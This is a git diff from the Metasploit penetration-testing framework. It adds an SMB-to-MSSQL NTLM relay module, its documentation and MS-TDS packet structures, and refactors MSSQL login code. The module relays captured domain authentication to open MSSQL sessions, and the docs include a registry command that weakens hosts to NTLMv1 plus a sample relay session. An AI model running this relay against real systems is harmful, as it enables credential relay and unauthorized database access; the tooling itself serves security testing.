diff --git a/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md b/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md index 72f50081997a3..1bfb6086c8c09 100644 --- a/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md +++ b/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md @@ -9,9 +9,19 @@ msf auxiliary(scanner/mssql/mssql_hashdump) > options Module options (auxiliary/scanner/mssql/mssql_hashdump): - Name Current Setting Required Description - ---- --------------- -------- ----------- - USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set) + Name Current Setting Required Description + ---- --------------- -------- ----------- + CHOST no The local client address + CPORT no The local client port + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5 + h + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION no The session to run this module on Used when making a new connection via RHOSTS: @@ -24,13 +34,6 @@ Module options (auxiliary/scanner/mssql/mssql_hashdump): RPORT 1433 no The target port (TCP) THREADS 1 yes The number of concurrent threads (max one per host) USERNAME MSSQL no The username to authenticate as - - - Used when connecting via an existing SESSION: - - Name Current Setting Required Description - ---- --------------- -------- ----------- - SESSION no The session to run this module on ``` ## Scenarios diff --git a/documentation/modules/auxiliary/scanner/mssql/mssql_login.md b/documentation/modules/auxiliary/scanner/mssql/mssql_login.md index 7e5411d7a0d24..95d4a2ceded7e 100644 --- a/documentation/modules/auxiliary/scanner/mssql/mssql_login.md +++ b/documentation/modules/auxiliary/scanner/mssql/mssql_login.md @@ -223,7 +223,6 @@ Module options (auxiliary/scanner/mssql/mssql_login): USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line - USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set) VERBOSE true yes Whether to print output for all attempts diff --git a/documentation/modules/auxiliary/server/relay/smb_to_ldap.md b/documentation/modules/auxiliary/server/relay/smb_to_ldap.md index f07593ffc10ca..2a6508abdf5d1 100644 --- a/documentation/modules/auxiliary/server/relay/smb_to_ldap.md +++ b/documentation/modules/auxiliary/server/relay/smb_to_ldap.md @@ -52,7 +52,7 @@ flowchart LR ``` The Domain Computer will need to be configured to use NTLMv1 by setting the -following registry key to a value less or equal to 2: +following registry key to a value less than or equal to 2: ``` PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f @@ -95,7 +95,7 @@ I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv ### RELAY_TIMEOUT Seconds that the relay socket will wait for a response after the client has -initiated communication (default 25 sec.). +initiated communication. ### SMBDomain diff --git a/documentation/modules/auxiliary/server/relay/smb_to_mssql.md b/documentation/modules/auxiliary/server/relay/smb_to_mssql.md new file mode 100644 index 0000000000000..a46ba775d510d --- /dev/null +++ b/documentation/modules/auxiliary/server/relay/smb_to_mssql.md @@ -0,0 +1,80 @@ +## Vulnerable Application + +This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack +against an MSSQL server on the configured RHOSTS hosts. + +If the relay succeeds, an MSSQL session to the target will be created. This can be used by any modules that support +MSSQL sessions, like `admin/mssql/mssql_enum`. The session can also be used to run arbitrary queries. + +Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. +SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261 + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install MSSQL Server on a Domain Joined host. Ensure that Windows Authentication mode is enabled. +2. Start msfconsole, and use the module. +3. Set `RHOSTS` to target the MSSQL server. +4. On another host, use `net use` to trigger an authentication attempt to metasploit that can be relayed to the target. + +## Options + +### RHOSTS + +Target address range or CIDR identifier to relay to. + +### CAINPWFILE + +A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes. + +### JOHNPWFILE + +A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes +will be stored in separate files. +I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`. + +### RELAY_TIMEOUT + +Seconds that the relay socket will wait for a response after the client has +initiated communication. + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### MSSQL Server 2019 + +``` +[*] Auxiliary module running as background job 0. +[*] SMB Server is running. Listening on 0.0.0.0:445 +[*] Server started. +msf auxiliary(server/relay/smb_to_mssql) > +[*] New request from 192.168.159.10 +[*] Received request for MSFLAB\smcintyre +[*] Relaying to next target mssql://192.168.159.166:1433 +[+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target mssql://192.168.159.166:1433 +[+] Relay succeeded +[*] MSSQL session 1 opened (192.168.159.128:35967 -> 192.168.159.166:1433) at 2025-10-21 09:33:19 -0400 +[*] Received request for MSFLAB\smcintyre +[*] Identity: MSFLAB\smcintyre - All targets relayed to +[*] New request from 192.168.159.10 +[*] Received request for MSFLAB\smcintyre +[*] Identity: MSFLAB\smcintyre - All targets relayed to +[*] Received request for MSFLAB\smcintyre +[*] Identity: MSFLAB\smcintyre - All targets relayed to + +msf auxiliary(server/relay/smb_to_mssql) > sessions -i -1 +[*] Starting interaction with 1... + +mssql @ 192.168.159.166:1433 (master) > query 'SELECT @@version' +Response +======== + + # NULL + - ---- + 0 Microsoft SQL Server 2019 (RTM-GDR) (KB5065223) - 15.0.2145.1 (X64) + Aug 13 2025 11:31:46 + Copyright (C) 2019 Microsoft Corporation + Standard Edition (64-bit) on Windows Server 2025 Standard 10.0 (Build 26100: ) (Hypervisor) + +mssql @ 192.168.159.166:1433 (master) > +``` \ No newline at end of file diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb index 69fc0f1638904..6146137efaf1f 100644 --- a/lib/metasploit/framework/login_scanner/mssql.rb +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -29,9 +29,6 @@ class MSSQL # @see Msf::Exploit::Remote::AuthOption::MSSQL_OPTIONS attr_accessor :auth - validates :auth, - inclusion: { in: Msf::Exploit::Remote::AuthOption::MSSQL_OPTIONS } - validates :auth, inclusion: { in: Msf::Exploit::Remote::AuthOption::MSSQL_OPTIONS } @@ -43,10 +40,6 @@ class MSSQL # @return [String] Auth The mssql hostname, required for Kerberos Authentication attr_accessor :hostname - # @!attribute windows_authentication - # @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth. - attr_accessor :windows_authentication - # @!attribute use_client_as_proof # @return [Boolean] If a login is successful and this attribute is true - an MSSQL::Client instance is used as proof attr_accessor :use_client_as_proof @@ -59,9 +52,6 @@ class MSSQL # @return [Integer] The delay between sending packets attr_accessor :send_delay - validates :windows_authentication, - inclusion: { in: [true, false] } - attr_accessor :tdsencryption validates :tdsencryption, @@ -93,7 +83,7 @@ def attempt_login(credential) result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT result_options[:proof] = e rescue => e - elog(e) + elog(e, error: e) result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT result_options[:proof] = e end @@ -117,7 +107,6 @@ def set_sane_defaults self.use_ntlm2_session = true if self.use_ntlm2_session.nil? self.use_ntlmv2 = true if self.use_ntlmv2.nil? self.auth = Msf::Exploit::Remote::AuthOption::AUTO if self.auth.nil? - self.windows_authentication = false if self.windows_authentication.nil? self.tdsencryption = false if self.tdsencryption.nil? end end diff --git a/lib/msf/core/exploit/remote/mssql.rb b/lib/msf/core/exploit/remote/mssql.rb index 3c6db976eb69a..5579c144f263a 100644 --- a/lib/msf/core/exploit/remote/mssql.rb +++ b/lib/msf/core/exploit/remote/mssql.rb @@ -37,7 +37,6 @@ def initialize(info = {}) Opt::RPORT(1433), OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), OptString.new('PASSWORD', [ false, 'The password for the specified username', '']), - OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]), # OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - TODO: support TDS Encryption ], Msf::Exploit::Remote::MSSQL) register_advanced_options( diff --git a/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb b/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb index 3e4cc4288db04..76335d25e2b84 100644 --- a/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb +++ b/lib/msf/core/exploit/remote/smb/relay/ntlm/server_client.rb @@ -232,6 +232,8 @@ def create_relay_client(target, timeout) client = Target::SMB::Client.create(self, target, logger, timeout) when :ldap client = Target::LDAP::Client.create(self, target, logger, timeout) + when :mssql + client = Target::MSSQL::Client.create(self, target, logger, timeout, framework_module: @listener) else raise RuntimeError, "unsupported protocol: #{target.protocol}" end diff --git a/lib/msf/core/exploit/remote/smb/relay/ntlm/target/mssql/client.rb b/lib/msf/core/exploit/remote/smb/relay/ntlm/target/mssql/client.rb new file mode 100644 index 0000000000000..7d264678aaf87 --- /dev/null +++ b/lib/msf/core/exploit/remote/smb/relay/ntlm/target/mssql/client.rb @@ -0,0 +1,82 @@ +module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::MSSQL + class Client < Rex::Proto::MSSQL::Client + attr_reader :target + + def initialize(framework_module, proxies = nil, provider: nil, target: nil, logger: nil, timeout: 30) + @logger = logger + @provider = provider + @target = target + @timeout = timeout + super(framework_module, framework_module.framework, target.ip, target.port, proxies) + end + + def self.create(provider, target, logger, timeout, framework_module:) + new( + framework_module, + provider: provider, + target: target, + logger: logger, + timeout: timeout + ) + end + + + # @param [String] client_type1_msg + # @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil] + def relay_ntlmssp_type1(client_type1_msg) + self.initial_connection_info[:prelogin_data] = mssql_prelogin + + pkt_hdr = MsTdsHeader.new( + packet_type: MsTdsType::TDS7_LOGIN, + packet_id: 1 + ) + + pkt_body = MsTdsLogin7.new( + option_flags_2: { + f_int_security: 1 + }, + server_name: @target.ip + ) + + pkt_body.sspi = client_type1_msg.bytes + + pkt_hdr.packet_length += pkt_body.num_bytes + pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s + + resp = mssql_send_recv(pkt, @timeout, false) + server_type2_message = resp[3..-1] + + Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new( + message: Net::NTLM::Message.parse(server_type2_message), + nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED + ) + end + + # @param [String] client_type3_msg + # @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil] + def relay_ntlmssp_type3(client_type3_msg) + pkt_hdr = MsTdsHeader.new( + type: MsTdsType::SSPI_MESSAGE, + packet_id: 1 + ) + + pkt_hdr.packet_length += client_type3_msg.length + pkt = pkt_hdr.to_binary_s + client_type3_msg + + resp = mssql_send_recv(pkt) + info = mssql_parse_reply(resp) + if info[:login_ack] + nt_status = WindowsError::NTStatus::STATUS_SUCCESS + else + nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE + end + + Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status) + end + + protected + + attr_reader :logger + end +end + diff --git a/lib/rex/proto/ms_tds.rb b/lib/rex/proto/ms_tds.rb new file mode 100644 index 0000000000000..cf7d4407b550c --- /dev/null +++ b/lib/rex/proto/ms_tds.rb @@ -0,0 +1,8 @@ +module Rex::Proto::MsTds + require 'rex/proto/ms_tds/ms_tds_type' + require 'rex/proto/ms_tds/ms_tds_status' + require 'rex/proto/ms_tds/ms_tds_version' + require 'rex/proto/ms_tds/ms_tds_header' + require 'rex/proto/ms_tds/ms_tds_login7_password' + require 'rex/proto/ms_tds/ms_tds_login7' +end diff --git a/lib/rex/proto/ms_tds/ms_tds_header.rb b/lib/rex/proto/ms_tds/ms_tds_header.rb new file mode 100644 index 0000000000000..fe716cb55a745 --- /dev/null +++ b/lib/rex/proto/ms_tds/ms_tds_header.rb @@ -0,0 +1,16 @@ +# -*- coding: binary -*- + +require 'bindata' + +module Rex::Proto::MsTds + class MsTdsHeader < BinData::Record + endian :big + + ms_tds_type :packet_type + ms_tds_status :status, initial_value: MsTdsStatus::END_OF_MESSAGE + uint16 :packet_length, initial_value: 8 + uint16 :spid + uint8 :packet_id + uint8 :window + end +end \ No newline at end of file diff --git a/lib/rex/proto/ms_tds/ms_tds_login7.rb b/lib/rex/proto/ms_tds/ms_tds_login7.rb new file mode 100644 index 0000000000000..33a4dcd6a42bc --- /dev/null +++ b/lib/rex/proto/ms_tds/ms_tds_login7.rb @@ -0,0 +1,216 @@ +require 'rex/text' + +module Rex::Proto::MsTds + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/773a62b6-ee89-4c02-9e5e-344882630aac + class MsTdsLogin7 < BinData::Record + endian :little + + class << self + private + + @@buffer_fields = [] + @@buffer_field_types = {} + + def buffer_field(field_name, encoding:, onlyif: true, field_type: nil) + @@buffer_fields << field_name + + uint16 "ib_#{field_name}".to_sym, initial_value: -> { buffer_field_offset(field_name) || 0 }, onlyif: onlyif + case encoding + when Encoding::ASCII_8BIT + @@buffer_field_types[field_name] = (field_type || :uint8_array) + uint16 "cb_#{field_name}".to_sym, initial_value: -> { send(field_name)&.length || 0 }, onlyif: onlyif + when Encoding::UTF_16LE + @@buffer_field_types[field_name] = (field_type || :string16) + uint16 "cch_#{field_name}".to_sym, initial_value: -> { send(field_name)&.length || 0 }, onlyif: onlyif + else + raise RuntimeError, "Unsupported encoding: #{encoding}" + end + end + end + + uint32 :packet_length, initial_value: :num_bytes + ms_tds_version :tds_version, initial_value: MsTdsVersion::VERSION_7_1 + uint32 :packet_size + uint32 :client_prog_ver, initial_value: 0x07 + uint32 :client_pid, initial_value: -> { rand(1024+1) } + uint32 :connection_id + + struct :option_flags_1 do + bit1 :f_set_lang, initial_value: 1 + bit1 :f_database + bit1 :f_use_db, initial_value: 1 + bit1 :f_dump_load + bit2 :f_float + bit1 :f_char + bit1 :f_byte_order + end + + struct :option_flags_2 do + bit1 :f_int_security + bit3 :f_user_type + bit1 :f_tran_boundary + bit1 :f_cache_connect + bit1 :f_odbc, initial_value: 1 + bit1 :f_language + end + + struct :type_flags do + bit2 :f_reserved + bit1 :f_read_only_intent + bit1 :f_oledb + bit4 :f_sql_type + end + + struct :option_flags_3 do + bit3 :f_reserved + bit1 :f_extension + bit1 :f_unknown_collation_handling + bit1 :f_user_instance + bit1 :f_send_yukon_binary_xml + bit1 :f_change_password + end + + uint32 :client_time_zone + uint32 :client_lcid + + # Offset/Length pairs for variable-length data + buffer_field :hostname, encoding: Encoding::UTF_16LE + buffer_field :username, encoding: Encoding::UTF_16LE + buffer_field :password, encoding: Encoding::UTF_16LE, field_type: :ms_tds_login7_password + buffer_field :app_name, encoding: Encoding::UTF_16LE + buffer_field :server_name, encoding: Encoding::UTF_16LE + buffer_field :unused, encoding: Encoding::ASCII_8BIT + buffer_field :extension, encoding: Encoding::ASCII_8BIT, onlyif: -> { tds_version >= MsTdsVersion::VERSION_7_4 } + buffer_field :clt_int_name, encoding: Encoding::UTF_16LE + buffer_field :language, encoding: Encoding::UTF_16LE + buffer_field :database, encoding: Encoding::UTF_16LE + + # Client MAC address (6 bytes) + uint8_array :client_id, initial_length: 6, initial_value: -> { Random.new.bytes(6).bytes } + + # More offset/length pairs + buffer_field :sspi, encoding: Encoding::ASCII_8BIT + buffer_field :attach_db_file, encoding: Encoding::UTF_16LE + buffer_field :change_password, encoding: Encoding::UTF_16LE, onlyif: -> { tds_version >= MsTdsVersion::VERSION_7_2 } + uint32 :cb_sspi_long, onlyif: -> { tds_version >= MsTdsVersion::VERSION_7_2 } + + string :buffer, initial_value: -> { build_buffer }, read_length: -> { packet_length - offset_of(buffer) } + hide :buffer + + def initialize_instance + value = super + + self.server_name = self.hostname = Rex::Text.rand_text_alpha(rand(1..8)) + self.clt_int_name = self.app_name = Rex::Text.rand_text_alpha(rand(1..8)) + self.language = self.database = "" + + @@buffer_fields.each do |field_name| + parameter = get_parameter(field_name) + send("#{field_name}=", parameter) if parameter + end + + value + end + + def assign(value) + super + + @@buffer_fields.each do |field_name| + next unless value.key?(field_name) + + send("#{field_name}=", value[field_name]) + end + end + + def initialize_shared_instance + @@buffer_fields.each do |field_name| + define_field_accessors_for2(field_name) + end + super + end + + def do_read(val) + value = super + + @@buffer_fields.each do |field_name| + # the offset field's prefix is always ib_ + field_offset = send("ib_#{field_name}") + # the size field's prefix depends on the data type, but it's always right after the offset + field_size = send(field_names[field_names.index("ib_#{field_name}".to_sym) + 1]) + + field_offset -= buffer.rel_offset + if field_offset < 0 + instance_variable_set("@#{field_name}", nil) + next + end + + field_cls = BinData::RegisteredClasses.lookup(@@buffer_field_types[field_name]) + + case @@buffer_field_types[field_name] + when :string16, :ms_tds_login7_password + field_size *= 2 + field_obj = field_cls.new(read_length: field_size) + when :uint8_array + field_obj = field_cls.new(read_until: :eof) + end + + field_data = buffer[field_offset...(field_offset + field_size)] + instance_variable_set("@#{field_name}", field_obj.read(field_data)) + end + + value + end + + def snapshot + snap = super + @@buffer_fields.each do |field_name| + snap[field_name] ||= send(field_name)&.snapshot + end + snap + end + + private + + def build_buffer + buf = '' + @@buffer_fields.each do |field_name| + field_value = send(field_name) + buf << field_value.to_binary_s if field_value + end + buf + end + + def buffer_field_offset(field) + return nil unless instance_variable_get("@#{field}") + + offset = buffer.rel_offset + @@buffer_fields.each do |field_name| + break if field_name == field + + field_name = instance_variable_get("@#{field_name}") + offset += field_name.num_bytes if field_name + end + + offset + end + + def define_field_accessors_for2(field_name) + define_singleton_method(field_name) do + instance_variable_get("@#{field_name}") + end + + define_singleton_method("#{field_name}=") do |value| + unless value.nil? + field_cls = BinData::RegisteredClasses.lookup(@@buffer_field_types[field_name]) + value = field_cls.new(value) + end + + instance_variable_set("@#{field_name}", value) + end + + define_singleton_method("#{field_name}?") do + !send(field_name).nil? + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/ms_tds/ms_tds_login7_password.rb b/lib/rex/proto/ms_tds/ms_tds_login7_password.rb new file mode 100644 index 0000000000000..ef7ac64173344 --- /dev/null +++ b/lib/rex/proto/ms_tds/ms_tds_login7_password.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +require 'bindata' + +module Rex::Proto::MsTds + class MsTdsLogin7Password < RubySMB::Field::String16 + default_parameter encode: true + + def read_and_return_value(io) + value = super + if value.bytes.each_with_index.all? { _1 == 0xa5 || (_2 % 2) == 0 } + value = self.class.decode(value) + end + value + end + + def value_to_binary_string(val) + val = self.class.encode(val) if get_parameter(:encode) + super(val) + end + + def self.decode(value) + value.unpack("C*").map { |c| ((((c ^ 0xa5) & 0x0f) << 4) + (((c ^ 0xa5) & 0xf0) >> 4)) }.pack("C*").force_encoding(Encoding::UTF_16LE) + end + + def self.encode(value) + value = value.encode(Encoding::UTF_16LE) + value.unpack('C*').map { |c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack('C*') + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/ms_tds/ms_tds_status.rb b/lib/rex/proto/ms_tds/ms_tds_status.rb new file mode 100644 index 0000000000000..fd272bada1e05 --- /dev/null +++ b/lib/rex/proto/ms_tds/ms_tds_status.rb @@ -0,0 +1,17 @@ +module Rex::Proto::MsTds + class MsTdsStatus < BinData::Uint8 + NORMAL = 0 + END_OF_MESSAGE = 1 + IGNORE_EVENT = 2 + RESETCONNECTION = 8 # TDS 7.1+ + RESECCONNECTIONTRAN = 16 # TDS 7.3+ + + def self.name(value) + constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } + end + + def to_sym + self.class.name(value) + end + end +end diff --git a/lib/rex/proto/ms_tds/ms_tds_type.rb b/lib/rex/proto/ms_tds/ms_tds_type.rb new file mode 100644 index 0000000000000..1be1c2c42ecde --- /dev/null +++ b/lib/rex/proto/ms_tds/ms_tds_type.rb @@ -0,0 +1,23 @@ +module Rex::Proto::MsTds + class MsTdsType < BinData::Uint8 + SQL_BATCH = 1 # (Client) SQL command + PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) + RPC = 3 # (Client) RPC + TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, + # Request Completion, Error and Info Messages, Attention Acknowledgement + ATTENTION_SIGNAL = 6 # (Client) Attention + BULK_LOAD = 7 # (Client) SQL Command with binary data + TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager + TDS7_LOGIN = 16 # (Client) Login + SSPI_MESSAGE = 17 # (Client) Login + PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 + + def self.name(value) + constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } + end + + def to_sym + self.class.name(value) + end + end +end diff --git a/lib/rex/proto/ms_tds/ms_tds_version.rb b/lib/rex/proto/ms_tds/ms_tds_version.rb new file mode 100644 index 0000000000000..080e75af958d2 --- /dev/null +++ b/lib/rex/proto/ms_tds/ms_tds_version.rb @@ -0,0 +1,17 @@ +module Rex::Proto::MsTds + class MsTdsVersion < BinData::Uint32be + VERSION_7_0 = 0x70 + VERSION_7_1 = 0x71 + VERSION_7_2 = 0x72 + VERSION_7_3 = 0x73 + VERSION_7_4 = 0x74 + + def self.name(value) + constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } + end + + def to_sym + self.class.name(value) + end + end +end diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb index 42e26479890a1..64451e9099917 100644 --- a/lib/rex/proto/mssql/client.rb +++ b/lib/rex/proto/mssql/client.rb @@ -36,7 +36,6 @@ class Client attr_accessor :use_lmkey attr_accessor :use_ntlm2_session attr_accessor :use_ntlmv2 - attr_accessor :windows_authentication attr_reader :framework_module attr_reader :framework # @!attribute max_send_size @@ -63,16 +62,17 @@ def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil, @auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO @hostname = framework_module.datastore['Mssql::Rhostname'] || '' - @windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false @tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false @hex2binary = framework_module.datastore['HEX2BINARY'] || '' + @domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || '' @rhost = rhost @rport = rport @proxies = proxies @sslkeylogfile = sslkeylogfile @current_database = '' + @initial_connection_info = {errors: []} end # MS SQL Server only supports Windows and Linux @@ -135,347 +135,13 @@ def detect_platform_and_arch # def mssql_login(user='sa', pass='', db='', domain_name='') - prelogin_data = mssql_prelogin if auth == Msf::Exploit::Remote::AuthOption::KERBEROS - idx = 0 - pkt = '' - pkt_hdr = '' - pkt_hdr = [ - TYPE_TDS7_LOGIN, #type - STATUS_END_OF_MESSAGE, #status - 0x0000, #length - 0x0000, # SPID - 0x01, # PacketID (unused upon specification - # but ms network monitor still prefer 1 to decode correctly, wireshark don't care) - 0x00 #Window - ] - - pkt << [ - 0x00000000, # Size - 0x71000001, # TDS Version - 0x00000000, # Dummy Size - 0x00000007, # Version - rand(1024+1), # PID - 0x00000000, # ConnectionID - 0xe0, # Option Flags 1 - 0x83, # Option Flags 2 - 0x00, # SQL Type Flags - 0x00, # Reserved Flags - 0x00000000, # Time Zone - 0x00000000 # Collation - ].pack('VVVVVVCCCCVV') - - cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) - aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name - sname = Rex::Text.to_unicode( rhost ) - framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank? - kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new( - host: @domain_controller_rhost, - hostname: @hostname, - mssql_port: rport, - proxies: proxies, - realm: domain_name, - username: user, - password: pass, - framework: framework, - framework_module: framework_module, - ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module) - ) - - kerberos_result = kerberos_authenticator.authenticate - ssp_security_blob = kerberos_result[:security_blob] - - idx = pkt.size + 50 # lengths below - - pkt << [idx, cname.length / 2].pack('vv') - idx += cname.length - - pkt << [0, 0].pack('vv') # User length offset must be 0 - pkt << [0, 0].pack('vv') # Password length offset must be 0 - - pkt << [idx, aname.length / 2].pack('vv') - idx += aname.length - - pkt << [idx, sname.length / 2].pack('vv') - idx += sname.length - - pkt << [0, 0].pack('vv') # unused - - pkt << [idx, aname.length / 2].pack('vv') - idx += aname.length - - pkt << [idx, 0].pack('vv') # locales - - pkt << [idx, 0].pack('vv') #db - - # ClientID (should be mac address) - pkt << Rex::Text.rand_text(6) - - # SSP - pkt << [idx, ssp_security_blob.length].pack('vv') - idx += ssp_security_blob.length - - pkt << [idx, 0].pack('vv') # AtchDBFile - - pkt << cname - pkt << aname - pkt << sname - pkt << aname - pkt << ssp_security_blob - - # Total packet length - pkt[0, 4] = [pkt.length].pack('V') - - pkt_hdr[2] = pkt.length + 8 - - pkt = pkt_hdr.pack("CCnnCC") + pkt - - # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) - # has a strange behavior that differs from the specifications - # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header - # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification - resp = mssql_send_recv(pkt, 15, false) - - info = {:errors => []} - info = mssql_parse_reply(resp, info) - self.initial_connection_info = info - self.initial_connection_info[:prelogin_data] = prelogin_data - - return false if not info - return info[:login_ack] ? true : false - elsif auth == Msf::Exploit::Remote::AuthOption::NTLM || windows_authentication - idx = 0 - pkt = '' - pkt_hdr = '' - pkt_hdr = [ - TYPE_TDS7_LOGIN, #type - STATUS_END_OF_MESSAGE, #status - 0x0000, #length - 0x0000, # SPID - 0x01, # PacketID (unused upon specification - # but ms network monitor still prefer 1 to decode correctly, wireshark don't care) - 0x00 #Window - ] - - pkt << [ - 0x00000000, # Size - 0x71000001, # TDS Version - 0x00000000, # Dummy Size - 0x00000007, # Version - rand(1024+1), # PID - 0x00000000, # ConnectionID - 0xe0, # Option Flags 1 - 0x83, # Option Flags 2 - 0x00, # SQL Type Flags - 0x00, # Reserved Flags - 0x00000000, # Time Zone - 0x00000000 # Collation - ].pack('VVVVVVCCCCVV') - - cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) - aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name - sname = Rex::Text.to_unicode( rhost ) - dname = Rex::Text.to_unicode( db ) - - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - - ntlm_client = ::Net::NTLM::Client.new( - user, - pass, - workstation: workstation_name, - domain: domain_name, - ) - type1 = ntlm_client.init_context - # SQL 2012, at least, does not support KEY_EXCHANGE - type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE] - ntlmsspblob = type1.serialize - - idx = pkt.size + 50 # lengths below - - pkt << [idx, cname.length / 2].pack('vv') - idx += cname.length - - pkt << [0, 0].pack('vv') # User length offset must be 0 - pkt << [0, 0].pack('vv') # Password length offset must be 0 - - pkt << [idx, aname.length / 2].pack('vv') - idx += aname.length - - pkt << [idx, sname.length / 2].pack('vv') - idx += sname.length - - pkt << [0, 0].pack('vv') # unused - - pkt << [idx, aname.length / 2].pack('vv') - idx += aname.length - - pkt << [idx, 0].pack('vv') # locales - - pkt << [idx, 0].pack('vv') #db - - # ClientID (should be mac address) - pkt << Rex::Text.rand_text(6) - - # NTLMSSP - pkt << [idx, ntlmsspblob.length].pack('vv') - idx += ntlmsspblob.length - - pkt << [idx, 0].pack('vv') # AtchDBFile - - pkt << cname - pkt << aname - pkt << sname - pkt << aname - pkt << ntlmsspblob - - # Total packet length - pkt[0, 4] = [pkt.length].pack('V') - - pkt_hdr[2] = pkt.length + 8 - - pkt = pkt_hdr.pack("CCnnCC") + pkt - - # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) - # has a strange behavior that differs from the specifications - # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header - # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification - if tdsencryption == true - proxy = TDSSSLProxy.new(sock, sslkeylogfile: sslkeylogfile) - proxy.setup_ssl - resp = proxy.send_recv(pkt) - else - resp = mssql_send_recv(pkt, 15, false) - end - - # Strip the TDS header - resp = resp[3..-1] - type3 = ntlm_client.init_context([resp].pack('m')) - type3_blob = type3.serialize - - # Create an SSPIMessage - idx = 0 - pkt = '' - pkt_hdr = '' - pkt_hdr = [ - TYPE_SSPI_MESSAGE, #type - STATUS_END_OF_MESSAGE, #status - 0x0000, #length - 0x0000, # SPID - 0x01, # PacketID - 0x00 #Window - ] - - pkt_hdr[2] = type3_blob.length + 8 - - pkt = pkt_hdr.pack("CCnnCC") + type3_blob - - if self.tdsencryption == true - resp = mssql_ssl_send_recv(pkt, proxy) - proxy.cleanup - proxy = nil - else - resp = mssql_send_recv(pkt) - end - - #SQL Server Authentication + login_kerberos(user, pass, db, domain_name) + elsif auth == Msf::Exploit::Remote::AuthOption::NTLM + login_ntlm(user, pass, db, domain_name) else - idx = 0 - pkt = '' - pkt << [ - 0x00000000, # Dummy size - - 0x71000001, # TDS Version - 0x00000000, # Size - 0x00000007, # Version - rand(1024+1), # PID - 0x00000000, # ConnectionID - 0xe0, # Option Flags 1 - 0x03, # 